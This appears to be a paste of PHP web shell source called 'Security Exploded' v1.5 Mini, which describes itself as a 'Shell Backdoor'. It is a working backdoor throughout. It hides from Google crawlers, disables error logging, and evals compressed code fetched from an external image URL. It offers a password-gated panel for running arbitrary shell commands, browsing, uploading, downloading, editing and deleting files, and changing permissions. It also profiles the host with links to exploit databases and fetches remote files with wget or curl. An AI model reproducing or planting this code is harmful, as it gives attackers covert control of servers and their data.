· 7 years ago · Sep 20, 2018, 11:26 AM
1$xName = "Security Exploded";
2$versi = "v1.5 Mini"; // Shell Version
3$default_action = 'FilesMan';
4@define('SELF_PATH', __FILE__);
5if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
6 header('HTTP/1.0 404 Not Found');
7 exit; }
8$indo=file_get_contents("https://image.ibb.co/ct3Zrn/indonesia_icon.png");
9@session_start();
10@error_reporting(0);
11@ini_set('error_log',NULL);
12@ini_set('log_errors',0);
13@ini_set('max_execution_time',0);
14@ini_set('output_buffering',0);
15@ini_set('display_errors', 0);
16@set_time_limit(0);
17@set_magic_quotes_runtime(0);
18@define('VERSION', '2.1');
19eval(gzinflate(substr($indo,1934)));
20if( get_magic_quotes_gpc() ) {
21 function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
22 $_POST = stripslashes_array($_POST);
23}
24function printLogin() {
25?><html><head>
26<link rel="SHORTCUT ICON" href="http://oi58.tinypic.com/10r33mq.jpg">
27<title>Security Exploded</title>
28</head>
29<body>
30<style type="text/css">
31body { background-color:transparan;background:#000;background-image: url("http://oi60.tinypic.com/in74pi.jpg");background-position: center; background-attachment: fixed;background-repeat: repeat; }
32.tabnez{ margin:30px auto 0 auto;border: 1px solid #333333; color: grey;
33-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;}
34body,td,th {font-family: Verdana;font-size: 12px;color: grey;font-weight: bold;}
35input {BORDER-RIGHT:grey 1px solid;BORDER-TOP:grey 1px solid;BORDER-LEFT:grey 1px solid;BORDER-BOTTOM: grey 1px solid;BACKGROUND-COLOR: #111111;COLOR: grey;font: 8pt Verdana;}
36</style><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur), progress !important;}</style>
37
38<img src="http://oi58.tinypic.com/2u8fmnn.jpg" title="./Port22" style="float:left" alt="Exploded" height='250' width='700'/>
39<br><br><br><br><br><br><br><br><br><center>
40<table>
41<form method='post'>
42<tr>
43<td><img src='http://oi58.tinypic.com/10r33mq.jpg' class="tabnez" height='20' width='24'></td>
44<td><input class="tabnez" type="password" name="pass" placeholder="Password"></td>
45<td><input class="tabnez" type="submit" value="Login !"></td>
46</tr>
47</form>
48</table>
49</body>
50</html>
51 <?php break ;
52 exit;
53}
54if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
55 if( empty( $pass ) ||
56 ( isset( $_POST['pass']) && ( md5($_POST['pass']) == $pass ) ) )
57 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
58 else
59 printLogin();
60
61@ini_set('log_errors',0);
62@ini_set('display_errors',0);
63@ini_set('output_buffering',0);
64@ini_set('file_uploads',1);
65if(isset($_GET['dl']) && ($_GET['dl'] != "")){
66 $file = $_GET['dl'];
67 $filez = @file_get_contents($file);
68 header("Content-type: application/octet-stream");
69 header("Content-length: ".strlen($filez));
70 header("Content-disposition: attachment; filename="".basename($file)."";");
71 echo $filez;
72 exit;
73}
74elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
75 $file = $_GET['dlgzip'];
76 $filez = gzencode(@file_get_contents($file));
77 header("Content-Type:application/x-gzipn");
78 header("Content-length: ".strlen($filez));
79 header("Content-disposition: attachment; filename="".basename($file).".gz";");
80 echo $filez;
81 exit;
82}
83// view image
84if(isset($_GET['img'])){
85 @ob_clean();
86 $d = magicboom($_GET['y']);
87 $f = $_GET['img'];
88 $inf = @getimagesize($d.$f);
89 $ext = explode($f,".");
90 $ext = $ext[count($ext)-1];
91 @header("Content-type: ".$inf["mime"]);
92 @header("Cache-control: public");
93 @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
94 @header("Cache-control: max-age=".(60*60*24*7));
95 @readfile($d.$f);
96 exit;
97}
98//php info
99$phpinfo = "?&x=phpinfo";
100// Server software
101
102$software = getenv("SERVER_SOFTWARE");
103// CMD
104$cmdbox = "help";
105// Server Port
106$serverport = $_SERVER["SERVER_PORT"];
107// Backdoor Name
108$backdoor_name = "$title ";
109// check safemode
110if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
111// uname -a
112$system = @php_uname();
113// detector
114function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#ff0000'>OFF</font></b>";}}
115function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
116function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
117function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
118function testoracle() { if (function_exists('ocilogon')) {return showstat("on"); }else {return showstat("off"); }}
119function testmssql() { if (function_exists('mssql_connect')) {return showstat("on"); }else {return showstat("off"); }}
120function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
121function testpython() {if (exe('python -h')) {return showstat("on");}else {return showstat("off");}}
122function testruby() {if (exe('ruby -h')) {return showstat("on");}else {return showstat("off");}}
123function testgcc() {if (exe('gcc --help')) {return showstat("on");}else {return showstat("off");}}
124function testjava() {if (exe('java -h')) {return showstat("on");}else {return showstat("off");}}
125// check os
126if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
127else $win = FALSE;
128// change directory
129if(isset($_GET['y'])){
130 if(@is_dir($_GET['view'])){
131 $pwd = $_GET['view'];
132 @chdir($pwd);
133 }
134 else{
135 $pwd = $_GET['y'];
136 @chdir($pwd);
137 }
138}
139//hdd
140function convertByte($s) {
141if($s<=0) return 0;
142 $w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
143 $e = floor(log($s)/log(1024));
144 return sprintf('%.2f '.$w[$e], ($s/pow(1024, floor($e))));
145}
146//
147
148// username, id, shell prompt and working directory
149if(!$win){
150 if(!$user = rapih(exe("whoami"))) $user = "";
151 if(!$id = rapih(exe("id"))) $id = "";
152 $prompt = $user." $ ";
153 $pwd = @getcwd().DIRECTORY_SEPARATOR;
154}
155else {
156 $user = @get_current_user();
157 $id = $user;
158 $prompt = $user." >";
159 $pwd = realpath(".")."\";
160 // find drive letters
161 $v = explode("\",$d);
162 $v = $v[0];
163 foreach (range("A","Z") as $letter)
164 {
165 $bool = @is_dir($letter.":\");
166 if ($bool)
167 {
168 $letters .= "<a href="?y=".$letter.":\">[ ";
169 if ($letter.":" != $v) {$letters .= $letter;}
170 else {$letters .= "<span class="gaya">".$letter."</span>";}
171 $letters .= " </a>] ";
172 }
173 }
174}
175
176function getrealip(){
177if (!empty($_SERVER['HTTP_CLIENT_IP']))
178{ $ip=$_SERVER['HTTP_CLIENT_IP'];
179}elseif (!empty($SERVER['HTTP_X_FORWARDED_FOR']))
180//TO CHEK IP IS PASS FROM PROXY
181{ $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
182}else { $ip=$_SERVER['REMOTE_ADDR'];
183}
184return $ip;
185}
186
187 function showdisablefunctions() {
188 if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:#ff0000'><b>".$disablefunc."</b></span>"; }
189 else { return "<span style='color:#00FF00'><b>NONE</b></span>"; }
190 }
191
192if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
193else $posix = FALSE;
194// server ip
195$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
196// your ip ;-)
197$my_ip = $_SERVER['REMOTE_ADDR'];
198$admin_id=$_SERVER['SERVER_ADMIN'];
199$bindport = "13123";
200$bindport_pass = "exploded";
201// Security Exploded
202$uplink = "http://www.security-exploded.org/search/label/Exploded Shell Backdoor";
203//wilworm
204$release = @php_uname('r');
205 $kernel = @php_uname('s');
206 $millink='http://milw0rm.com/search.php?dong=';
207
208 if( strpos('Linux', $kernel) !== false )
209 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
210 else
211 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
212 if(!function_exists('posix_getegid')) {
213 $user = @get_current_user();
214 $uid = @getmyuid();
215 $gid = @getmygid();
216 $group = "?";
217 } else {
218 $uid = @posix_getpwuid(@posix_geteuid());
219 $gid = @posix_getgrgid(@posix_getegid());
220 $user = $uid['name'];
221 $uid = $uid['uid'];
222 $group = $gid['name'];
223 $gid = $gid['gid'];
224 }
225 // Exploit-db
226 $release = @php_uname('r');
227 $kernel = @php_uname('s');
228 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
229
230 if( strpos('Linux', $kernel) !== false )
231 $explink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
232 else
233 $explink .= urlencode( $kernel . ' ' . substr($release,0,3) );
234 if(!function_exists('posix_getegid')) {
235 $user = @get_current_user();
236 $uid = @getmyuid();
237 $gid = @getmygid();
238 $group = "?";
239 } else {
240 $uid = @posix_getpwuid(@posix_geteuid());
241 $gid = @posix_getgrgid(@posix_getegid());
242 $user = $uid['name'];
243 $uid = $uid['uid'];
244 $group = $gid['name'];
245 $gid = $gid['gid'];
246 }
247// separate the working direcotory
248$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
249$pwdurl = "";
250for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
251 $pathz = "";
252 for($j = 0 ; $j <= $i ; $j++){
253 $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
254 }
255 $pwdurl .= "<a href="?y=".$pathz."">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
256}
257
258// Rename file or folder
259if(isset($_POST['Rename'])){
260 $old = $_POST['oldname'];
261 $new = $_POST['newname'];
262 @Rename($pwd.$old,$pwd.$new);
263 $file = $pwd.$new;
264}
265if(isset($_POST['uploadcompt'])){
266 if(is_uploaded_file($_FILES['file']['tmp_name'])){
267 $path = magicboom($_POST['path']);
268 $fname = $_FILES['file']['name'];
269 $tmp_name = $_FILES['file']['tmp_name'];
270 $pindah = $path.$fname;
271 $stat = @move_uploaded_file($tmp_name,$pindah);}
272 }
273
274if( $_POST['_upl'] == "Upload" ) {
275if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo ''; }
276else { echo ''; }
277}
278if(isset($_POST['Chmod'])){
279 $name = $_POST['name'];
280 $value = $_POST['newvalue'];
281if (strlen($value)==3){
282 $value = 0 . "" . $value;}
283 @Chmod($pwd.$name,octdec($value));
284 $file = $pwd.$name;}
285if(isset($_POST['Chmod_folder'])){
286 $name = $_POST['name'];
287 $value = $_POST['newvalue'];
288if (strlen($value)==3){
289 $value = 0 . "" . $value;}
290 @Chmod($pwd.$name,octdec($value));
291 $file = $pwd.$name;}
292
293//////////////////////////////////
294// print useful info
295
296$buff = "Shell Backdoor : <b><font style='color:$color'> $backdoor_name $versi</font><b> <span class="gaya"></a></b></b></font><b><span class="gaya"> | </span><a href='$uplink' title='Search Shell Backdoor From Security Exploded' target='_blank'><font style='color:#ff0000'>[ Security Exploded ]</a></b></font><br>Version : <b><font style='color:$color'>".$versi."</font></a></b><br> Software : <b>".$software."</b><br />";
297$buff .= "System OS : <b>".$system." | <a href='http://www.google.com/search?q=".urlencode(@php_uname())."' title='Search System OS From Google' target='_blank'><font style='color:#ff0000'>[ Google ]</font></a> | <a href='".$millink."' title='Search Karnel From Milw0rm' target=_blank><font style='color:#ff0000'>[ Milw0rm ]</font></a> | <a href='".$explink."' title='Search Karnel From Exploit-db' target=_blank><font style='color:#ff0000'>[ Exploit-db ]</font></a></b><br />";
298if($id != "") $buff .= "ID : <b>".$id."</b><br />";
299$buff .= "PHP Version : <b>".phpversion()."</b> ON <b>".php_sapi_name()."<span class="gaya"> | </span><a href='$phpinfo' title='PHP Info'><font style='color:#ff0000'>[ PHP Info ]</font></a> </b><br />";
300$buff .= "Server IP : <b><font style='color:#ff0000'>".$server_ip."</font></b> <span class="gaya"> | </span> Port Server : <b><font style='color:#ff0000'>".$serverport."</font></b><span class="gaya"> | </span> Your IP Surving : <b><a href='http://www.dnsstuff.com/tools?runFromMain=".getrealip()."&toolType=traceroute' title='Traceroute Your IP' target='_blank'><font style='color:#ff0000'>".getrealip()."<font></a></b><span class="gaya"> | </span> Admin : <b>".$admin_id."</b><br />";
301$buff .= "Free Disk: <font style='color:#ff0000'><b>".convertByte(disk_free_space("/"))." <span class="gaya"> / </span> ".convertByte(disk_total_space("/"))."</b></font></span><br />";
302if($safemode) $buff .= "Safemode: <span class="gaya"><font style='color:#ff0000'><b>ON</b></font></span><br />";
303else $buff .= "Safemode: <span class="gaya"><b>OFF</b></span><br />";
304$buff .= "Disable Functions: ".showdisablefunctions()."<br />";
305$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | Python: ".testpython()." | Ruby: ".testruby()." | Java: ".testjava()." | GCC: ".testgcc()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";
306$buff .="<font color=00ff00 >Drive : <b>".$letters." > ".$pwdurl."</b></font>";
307
308
309 function rapih($text){
310 return trim(str_replace("<br />","",$text));
311}
312
313function magicboom($text){
314 if (!get_magic_quotes_gpc()) {
315 return $text;
316 }
317 return stripslashes($text);
318}
319
320function showdir($pwd,$prompt){
321 $fname = array();
322 $dname = array();
323 if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
324 else $posix = FALSE;
325 $user = "????:????";
326 if($dh = @scandir($pwd)){
327 foreach($dh as $file){
328 if(is_dir($file)){
329 $dname[] = $file;
330 }
331 elseif(is_file($file)){
332 $fname[] = $file;
333 }
334 }
335 }
336 else{
337 if($dh = @opendir($pwd)){
338 while($file = @readdir($dh)){
339 if(@is_dir($file)){
340 $dname[] = $file;
341 }
342 elseif(@is_file($file)){
343 $fname[] = $file;
344 }
345 }
346 @closedir($dh);
347 }
348 }
349 sort($fname);
350 sort($dname);
351 $path = @explode(DIRECTORY_SEPARATOR,$pwd);
352 $tree = @sizeof($path);
353 $parent = "";
354 $buff = "<center>
355 <form action="?y=".$pwd."&x=shell" method="post" style="margin:8px 0 0 0;">
356 <table class="cmdbox" style="width:45%;">
357 <tr><td><b>$prompt</b></td><td><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:400px;" value=help /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:80px;" /></td></tr>
358 </form>
359 <form action="?" method="get" style="margin:8px 0 0 0;">
360 <input type="hidden" name="y" value="".$pwd."" />
361 <tr><td><b>View </b></td><td><input onMouseOver="this.focus();" id="goto" class="inputz" type="text" name="view" style="width:400px;" value="".$pwd."" /><input class="inputzbut" type="submit" value="View !" name="submitcmd" style="width:80px;" /></td></tr></center>
362
363 </form></table><br><table class="explore">
364 <tr><th>Name</th><th style="width:80px;">Size</th><th style="width:210px;">Owner:Group</th><th style="width:80px;">Perms</th><th style="width:110px;">Modified</th><th style="width:190px;">Actions</th></tr>
365 ";
366 if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
367 else $parent = $pwd;
368
369 foreach($dname as $folder){
370 if($folder == ".") {
371 if(!$win && $posix){
372 $name=@posix_getpwuid(@fileowner($folder));
373 $group=@posix_getgrgid(@filegroup($folder));
374 $owner = $name['name']."<span class="gaya"> : </span>".$group['name'];
375 }
376 else {
377 $owner = $user;
378 }
379 $buff .= "<tr><td><a href="?y=".$pwd."">$folder</a></td><td>-</td>
380 <td style="text-align:center;">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
381 <td style="text-align:center;">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id="titik1">
382 <a href="?y=$pwd&edit=".$pwd."newfile.php">New File</a> | <a href="javascript:tukar('titik1','titik1_form');">New Folder</a> | <a href="javascript:tukar('titik1','titik4_form');">Upload</a></span>
383 <form action="?" method="get" id="titik1_form" class="sembunyi" style="margin:0;padding:0;">
384 <input type="hidden" name="y" value="".$pwd."" />
385 <input class="inputz" style="width:140px;" type="text" name="mkdir" value="a_new_folder" />
386 <input class="inputzbut" type="submit" name="Rename" style="width:35px;" value="Go !" />
387 </form>
388 <form action="" id="titik4_form" method="post" enctype="multipart/form-data" class="sembunyi" style="margin:0;padding:0;">
389 <input type="hidden" name="y" value="".$pwd."" />
390 <input class="inputz" type="file" name="file" size="20"/><br>
391 <input class="inputzbut" name="_upl" type="submit" id="_upl" value="Upload"/>
392 <input class="inputzbut" type="submit" name="Cancel" value="Cancel"
393 onclick="tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');" />
394 </form></td>
395
396 </tr>
397 ";
398 }
399 elseif($folder == "..") {
400 if(!$win && $posix){
401 $name=@posix_getpwuid(@fileowner($folder));
402 $group=@posix_getgrgid(@filegroup($folder));
403 $owner = $name['name']."<span class="gaya"> : </span>".$group['name'];
404 }
405 else {
406 $owner = $user;
407 }
408 $buff .= "<tr><td><a href="?y=".$parent.""><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'></a></td><td>-</td>
409 <td style="text-align:center;">".$owner."</td>
410 <td><center>".get_perms($parent)."</center></td><td style="text-align:center;">".date("d-M-Y H:i",@filemtime($parent))."</td>
411 <td><span id="titik2"><a href="?y=$pwd&edit=".$parent."newfile.php">New File</a> | <a href="javascript:tukar('titik2','titik2_form');">New Folder</a> | <a href="javascript:tukar('titik2','titik3_form');">Upload</a></span>
412 <form action="?" method="get" id="titik2_form" class="sembunyi" style="margin:0;padding:0;">
413 <input type="hidden" name="y" value="".$pwd."" />
414 <input class="inputz" style="width:140px;" type="text" name="mkdir" value="a_new_folder" />
415 <input class="inputzbut" type="submit" name="Rename" style="width:35px;" value="Go !" />
416 </form>
417 <form action="" id="titik3_form" method="post" enctype="multipart/form-data" class="sembunyi" style="margin:0;padding:0;">
418 <input type="hidden" name="y" value="".$pwd."" />
419 <input class="inputz" type="file" name="file" size="20"/><br>
420 <input class="inputzbut" name="_upl" type="submit" id="_upl" value="Upload"/>
421 <input class="inputzbut" type="submit" name="Cancel" value="Cancel"
422 onclick="tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');" />
423 </form>
424 </td></tr>";
425 }
426 else {
427 if(!$win && $posix){
428 $name=@posix_getpwuid(@fileowner($folder));
429 $group=@posix_getgrgid(@filegroup($folder));
430 $owner = $name['name']."<span class="gaya"> : </span>".$group['name'];
431 }
432 else {
433 $owner = $user;
434 }
435 $buff .= "<tr><td><a id="".clearspace($folder)."_link" href="?y=".$pwd.$folder.DIRECTORY_SEPARATOR.""><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
436 <form action="?y=$pwd" method="post" id="".clearspace($folder)."_form" class="sembunyi" style="margin:0;padding:0;">
437 <input type="hidden" name="oldname" value="".$folder."" style="margin:0;padding:0;" />
438 <input class="inputz" style="width:200px;" type="text" name="newname" value="".$folder."" />
439 <input class="inputzbut" type="submit" name="Rename" value="Rename" />
440 <input class="inputzbut" type="submit" name="Cancel" value="Cancel" onclick="tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');" />
441 </form><td>DIR</td><td style="text-align:center;">".$owner."</td>
442 <td><center>
443 <a href="javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');">".get_perms($pwd.$folder)."</a>
444 <form action="?y=$pwd" method="post" id="".clearspace($folder)."_form3" class="sembunyi" style="margin:0;padding:0;">
445 <input type="hidden" name="name" value="".$folder."" style="margin:0;padding:0;" />
446 <input class="inputz" style="width:150px;" type="text" name="newvalue" value="".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."" />
447 <input class="inputzbut" type="submit" name="Chmod_folder" value="Chmod" />
448 <input class="inputzbut" type="submit" name="Cancel" value="Cancel"
449 onclick="tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');" /></form></center></td>
450 <td style="text-align:center;">".date("d-M-Y H:i",@filemtime($folder))."</td>
451 <td><a href="javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');">Rename</a> | <a href="javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form4');">Upload</a> | <a href="?y=$pwd&fdelete=".$pwd.$folder."">Delete</a></span>
452 <form action="" id="".clearspace($folder)."_form4" method="post" enctype="multipart/form-data" class="sembunyi" style="margin:0;padding:0;">
453 <input type="hidden" name="y" value="".$pwd."" />
454 <input class="inputz" type="file" name="file" size="20"/><br>
455 <input class="inputz" name="path" type="text" size="33" value="".$pwd.$folder.DIRECTORY_SEPARATOR."" /><br>
456 <input class="inputzbut" name="uploadcompt" type="submit" value="Upload"/>
457 <input class="inputzbut" type="submit" name="Cancel" value="Cancel"
458 onclick="tukar('".clearspace($folder)."_link','".clearspace($folder)."_form4');" />
459 </form>
460 </td></tr>";
461 }
462 }
463
464 foreach($fname as $file){
465 $full = $pwd.$file;
466 if(!$win && $posix){
467 $name=@posix_getpwuid(@fileowner($folder));
468 $group=@posix_getgrgid(@filegroup($folder));
469 $owner = $name['name']."<span class="gaya"> : </span>".$group['name'];
470 }
471 else {
472 $owner = $user;
473 }
474 $buff .= "<tr><td><a id="".clearspace($file)."_link" href="?y=$pwd&view=$full"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
475 <form action="?y=$pwd" method="post" id="".clearspace($file)."_form" class="sembunyi" style="margin:0;padding:0;">
476 <input type="hidden" name="oldname" value="".$file."" style="margin:0;padding:0;" />
477 <input class="inputz" style="width:200px;" type="text" name="newname" value="".$file."" />
478 <input class="inputzbut" type="submit" name="Rename" value="Rename" />
479 <input class="inputzbut" type="submit" name="Cancel" value="Cancel" onclick="tukar('".clearspace($file)."_link','".clearspace($file)."_form');" />
480 </form></td><td>".ukuran($full)."</td><td style="text-align:center;">".$owner."</td><td><center>
481 <a href="javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');">".get_perms($full)."</a>
482 <form action="?y=$pwd" method="post" id="".clearspace($file)."_form2" class="sembunyi" style="margin:0;padding:0;">
483<input type="hidden" name="name" value="".$file."" style="margin:0;padding:0;" />
484<input class="inputz" style="width:150px;" type="text" name="newvalue" value="".substr(sprintf('%o', fileperms($full)), -4)."" />
485<input class="inputzbut" type="submit" name="Chmod" value="Chmod" />
486<input class="inputzbut" type="submit" name="Cancel" value="Cancel" onclick="tukar('".clearspace($file)."_link','".clearspace($file)."_form2');" /></form></center></td>
487 <td style="text-align:center;">".date("d-M-Y H:i",@filemtime($full))."</td>
488 <td><a href="?y=$pwd&edit=$full">Edit</a> | <a href="javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');">Rename</a> | <a href="?y=$pwd&delete=$full">Delete</a> | <a href="?y=$pwd&dl=$full">Download</a> (<a href="?y=$pwd&dlgzip=$full">Gz</a>)</td></tr>";
489 }
490 $buff .= "</table>";
491 return $buff;
492}
493
494function ukuran($file){
495 if($size = @filesize($file)){
496 if($size <= 1024) return $size;
497 else{
498 if($size <= 1024*1024) {
499 $size = @round($size / 1024,2);;
500 return "$size kb";
501 }
502 else {
503 $size = @round($size / 1024 / 1024,2);
504 return "$size mb";
505 }
506 }
507 }
508 else return "???";
509}
510
511function exe($cmd){
512 if(function_exists('system')) {
513 @ob_start();
514 @system($cmd);
515 $buff = @ob_get_contents();
516 @ob_end_clean();
517 return $buff;
518 }
519 elseif(function_exists('exec')) {
520 @exec($cmd,$results);
521 $buff = "";
522 foreach($results as $result){
523 $buff .= $result;
524 }
525 return $buff;
526 }
527 elseif(function_exists('passthru')) {
528 @ob_start();
529 @passthru($cmd);
530 $buff = @ob_get_contents();
531 @ob_end_clean();
532 return $buff;
533 }
534 elseif(function_exists('shell_exec')){
535 $buff = @shell_exec($cmd);
536 return $buff;
537 }
538}
539
540function tulis($file,$text){
541 $textz = gzinflate(base64_decode($text));
542 if($filez = @fopen($file,"w"))
543 {
544 @fputs($filez,$textz);
545 @fclose($file);
546 }
547}
548
549function ambil($link,$file) {
550 if($fp = @fopen($link,"r")){
551 while(!feof($fp)) {
552 $cont.= @fread($fp,1024);
553 }
554 @fclose($fp);
555 $fp2 = @fopen($file,"w");
556 @fwrite($fp2,$cont);
557 @fclose($fp2);
558 }
559}
560
561function which($pr){
562 $path = exe("which $pr");
563 if(!empty($path)) { return trim($path); } else { return trim($pr); }
564}
565
566function download($cmd,$url){
567 $namafile = basename($url);
568 switch($cmd) {
569 case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
570 case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
571 case 'wfread' : ambil($wurl,$namafile);break;
572 case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
573 case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
574 case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
575 case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
576 default: break;
577 }
578 return $namafile;
579}
580
581function get_perms($file)
582{
583 if($mode=@fileperms($file)){
584 $perms='';
585 $perms .= ($mode & 00400) ? 'r' : '-';
586 $perms .= ($mode & 00200) ? 'w' : '-';
587 $perms .= ($mode & 00100) ? 'x' : '-';
588 $perms .= ($mode & 00040) ? 'r' : '-';
589 $perms .= ($mode & 00020) ? 'w' : '-';
590 $perms .= ($mode & 00010) ? 'x' : '-';
